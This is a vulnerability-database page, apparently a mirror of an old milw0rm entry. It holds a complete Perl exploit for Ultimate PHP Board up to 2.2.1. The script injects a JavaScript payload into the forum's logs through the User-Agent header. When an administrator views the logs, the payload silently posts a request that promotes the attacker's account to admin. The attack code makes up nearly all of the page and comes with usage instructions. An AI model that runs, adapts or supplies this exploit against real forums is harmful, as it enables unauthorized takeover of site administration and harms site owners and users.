Lucene search
K

Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

Ultimate PHP Board <= 2.2.1 Privilege Escalatio

Code

                                                #!/usr/bin/perl -w
# ------------------------------------------------------------------
# Ultimate PHP Board &#60;= 2.2.1 (log inj) Privilege Escalation Exploit
# ------------------------------------------------------------------
# by athos - staker[at]hotmail[dot]it
# download on http://www.myupb.com/
# ------------------------------------------------------------------
# Usage:
# perl xpl.pl host path id email
# perl xpl.pl localhost/upb 21 [email protected]
# ------------------------------------------------------------------
# Note: don&#39;t add me on msn messenger
#       thanks evilsocket 
#       thanks meh for ajax code
#       my email [email protected]
# ------------------------------------------------------------------

use strict;
use IO::Socket;

my ($host,$path,$id,$email) = @ARGV;


if (@ARGV != 4) {
      
      print &#34;\n+--------------------------------------------------------------------+\r&#34;.
            &#34;\n| Ultimate PHP Board &#60;= 2.2.1 (log inj) Privilege Escalation Exploit |\r&#34;.
            &#34;\n+--------------------------------------------------------------------+\r&#34;.
            &#34;\n(user -&#62; admin xpl )by athos - staker[at]hotmail[dot]it\n&#34;.
            &#34;\nUsage   + perl $0 [host] [path] [ID] [email]&#34;.
            &#34;\nHost    + localhost&#34;.
            &#34;\nPath    + forum path /upb)&#34;.
            &#34;\nID      + your user ID&#34;.
            &#34;\nEmail   + your/any email\n&#34;;
      exit;
} 

&exploit();


sub exploit () {

     my $content = undef;
     my $uagent  = &logs;
     my $packet  = undef;
     my $socket  = new IO::Socket::INET(
                                         PeerAddr =&#62; $host,
                                         PeerPort =&#62; 80,
                                         Proto    =&#62; &#39;tcp&#39;,
                                       ) or die $!;
                            
     $packet .= &#34;GET /$path/index.php HTTP/1.1\r\n&#34;;
     $packet .= &#34;Host: $host\r\n&#34;;
     $packet .= &#34;User-Agent: $uagent\r\n&#34;;
     $packet .= &#34;Connection: close\r\n\r\n&#34;;
     
     $socket-&#62;send($packet);
     
     while (&#60;$socket&#62;) {
        $content .= $_;
     }    
     
     if ($content =~ m/myUPB/i) {
        print &#34;Exploit Done!\n&#34;;
        print &#34;You&#39;ll become admin when the real admin will visit the logs\n&#34;;
        exit;
     }
     else {
        print &#34;Exploit Failed!\n&#34;;
        exit;
    }    
}                            


sub logs () {

my $logs = &#34;Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d&#34;.
           &#34;&#60;script&#62;var xplurl=&#39;http://$host/$path/admin_members.php?a&#34;.
           &#34;ction=edit&id=$id&page=10&#39;; var xpldata=&#39;a=1&level=3&email&#34;.
           &#34;=$email&status&location&website&avatar&msn&yahoo&icq&sig&u_&#34;.
           &#34;timezone=0&B1=Submit&#39;;function s(s){var h=((window.ActiveXO&#34;.
           &#34;bject)?new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;):new XMLHttp&#34;.
           &#34;Request());h.open(&#39;POST&#39;, xplurl, true);h.setRequestHeader&#34;.
           &#34;(&#39;Content-type&#39;,&#39;application/x-www-form-urlencoded&#39;);h.setRe&#34;.
           &#34;questHeader(&#39;Content-length&#39;,xpldata.length);h.setRequestHea&#34;.
           &#34;der(&#39;Connection&#39;,&#39;close&#39;);h.send(xpldata);}s();&#60;/script&#62;&#34;;
  
  return $logs;
           
}                     

# milw0rm.com [2008-12-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation